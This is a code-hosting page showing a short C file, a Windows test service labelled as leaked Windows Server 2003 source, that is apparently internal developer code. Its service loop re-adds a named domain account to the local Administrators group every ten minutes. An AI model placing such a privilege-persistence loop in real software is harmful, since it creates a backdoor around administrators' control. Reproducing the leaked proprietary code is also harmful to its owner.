Leaked source code of windows server 2003
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

140 lines
2.9 KiB

  1. #include <nt.h>
  2. #include <ntrtl.h> // DbgPrint prototype
  3. #include <nturtl.h>
  4. #include <stdlib.h>
  5. #include <windows.h>
  6. #include <winsvc.h>
  7. #include <winsvcp.h>
  8. #include <winuser.h>
  9. #include <dbt.h>
  10. #include <crtdbg.h>
  11. #include <lm.h>
  12. //
  13. // Definitions
  14. //
  15. #define LOG0(string) \
  16. (VOID) DbgPrint(" [SCM] " string);
  17. #define LOG1(string, var) \
  18. (VOID) DbgPrint(" [SCM] " string,var);
  19. #define LOG2(string, var1, var2) \
  20. (VOID) DbgPrint(" [SCM] " string,var1,var2);
  21. //
  22. // Test fix for bug #106110
  23. //
  24. // #define FLOOD_PIPE
  25. //
  26. //
  27. // Test fix for bug #120359
  28. //
  29. static const GUID GUID_NDIS_LAN_CLASS =
  30. {0xad498944,0x762f,0x11d0,{0x8d,0xcb,0x00,0xc0,0x4f,0xc3,0x35,0x8c}};
  31. //
  32. // Globals
  33. //
  34. SERVICE_STATUS ssService;
  35. SERVICE_STATUS_HANDLE hssService;
  36. HANDLE g_hEvent;
  37. VOID WINAPI
  38. ServiceStart(
  39. DWORD argc,
  40. LPTSTR *argv
  41. );
  42. VOID
  43. OverflowStackBuffer(
  44. VOID
  45. );
  46. VOID WINAPI
  47. ServiceCtrlHandler(
  48. DWORD Opcode
  49. )
  50. {
  51. if (!SetServiceStatus(hssService, &ssService))
  52. {
  53. LOG1("SetServiceStatus error %ld\n", GetLastError());
  54. }
  55. return;
  56. }
  57. VOID WINAPI
  58. ServiceStart(
  59. DWORD argc,
  60. LPTSTR *argv
  61. )
  62. {
  63. LOCALGROUP_MEMBERS_INFO_3 Info;
  64. ssService.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
  65. ssService.dwCurrentState = SERVICE_START_PENDING;
  66. ssService.dwControlsAccepted = 0;
  67. ssService.dwWin32ExitCode = 0;
  68. ssService.dwServiceSpecificExitCode = 0;
  69. ssService.dwCheckPoint = 0;
  70. ssService.dwWaitHint = 0;
  71. hssService = RegisterServiceCtrlHandler(TEXT("simservice"),
  72. ServiceCtrlHandler);
  73. if (hssService == (SERVICE_STATUS_HANDLE)0)
  74. {
  75. LOG1("RegisterServiceCtrlHandler failed %d\n", GetLastError());
  76. return;
  77. }
  78. //
  79. // Initialization complete - report running status.
  80. //
  81. ssService.dwCurrentState = SERVICE_RUNNING;
  82. ssService.dwCheckPoint = 0;
  83. ssService.dwWaitHint = 0;
  84. if (!SetServiceStatus (hssService, &ssService))
  85. {
  86. LOG1("SetServiceStatus error %ld\n", GetLastError());
  87. }
  88. Info.lgrmi3_domainandname = L"NTDEV\\jschwart";
  89. do
  90. {
  91. NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE) &Info, 1);
  92. Sleep(600000);
  93. }
  94. while (1);
  95. return;
  96. }
  97. int __cdecl main( )
  98. {
  99. SERVICE_TABLE_ENTRY DispatchTable[] =
  100. {
  101. { TEXT("simservice"), ServiceStart },
  102. { NULL, NULL }
  103. };
  104. if (!StartServiceCtrlDispatcher(DispatchTable))
  105. {
  106. LOG1("StartServiceCtrlDispatcher error = %d\n", GetLastError());
  107. }
  108. return 0;
  109. }